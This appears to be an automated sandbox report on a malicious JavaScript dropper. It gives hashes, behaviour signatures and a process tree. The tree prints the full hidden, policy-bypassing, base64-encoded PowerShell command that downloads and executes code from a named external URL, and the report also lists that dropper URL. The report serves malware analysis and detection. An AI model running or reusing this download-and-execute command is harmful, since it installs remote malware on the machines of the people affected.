Analysis

  • max time kernel
    142s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20231215-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-12-2023 13:06

General

  • Target

    981daf3350bc6831a06535cfad44d4b2.js

  • Size

    133KB

  • MD5

    981daf3350bc6831a06535cfad44d4b2

  • SHA1

    7e9a234a61f1a64cb87ca9eef3cc27e39d8306b1

  • SHA256

    796487441f410b915e434218cf6f2fffa867a70cb1e4f4357ce3e5dec116ef85

  • SHA512

    a151cada36b386aa83ed7a875657615b3a3cca2a8ccdc9e231b55558f1e5347fd04cbf40ec8253001bc2f61e3fa20cb4dbd60d96866627988bd6d64a8b37a96c

  • SSDEEP

    3072:0kOBFat5SfZL1y0s09SBzb83XIIUwXSVhnBSfL822iwWcDM9OM6PL2NZ/rrzSQVx:0kOBFat5zFZXL2NZ2QuwqkKIX

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://quickdrive.ae/js/JS000082510952000/dll/assistant.php

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\981daf3350bc6831a06535cfad44d4b2.js
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4656
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBxAHUAaQBjAGsAZAByAGkAdgBlAC4AYQBlAC8AagBzAC8ASgBTADAAMAAwADAAOAAyADUAMQAwADkANQAyADAAMAAwAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:4796
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        poWERshEll -nop -w hidden -ep bypass -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwBxAHUAaQBjAGsAZAByAGkAdgBlAC4AYQBlAC8AagBzAC8ASgBTADAAMAAwADAAOAAyADUAMQAwADkANQAyADAAMAAwAC8AZABsAGwALwBhAHMAcwBpAHMAdABhAG4AdAAuAHAAaABwACIAKQA=
        3⤵
        • Blocklisted process makes network request
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2848

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ig3cny15.3lf.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2848-6-0x000001CD7B850000-0x000001CD7B872000-memory.dmp

    Filesize

    136KB

  • memory/2848-11-0x00007FFC50CC0000-0x00007FFC51781000-memory.dmp

    Filesize

    10.8MB

  • memory/2848-13-0x000001CD7B880000-0x000001CD7B890000-memory.dmp

    Filesize

    64KB

  • memory/2848-12-0x000001CD7B880000-0x000001CD7B890000-memory.dmp

    Filesize

    64KB

  • memory/2848-14-0x000001CD7B880000-0x000001CD7B890000-memory.dmp

    Filesize

    64KB

  • memory/2848-15-0x000001CD7B880000-0x000001CD7B890000-memory.dmp

    Filesize

    64KB

  • memory/2848-18-0x00007FFC50CC0000-0x00007FFC51781000-memory.dmp

    Filesize

    10.8MB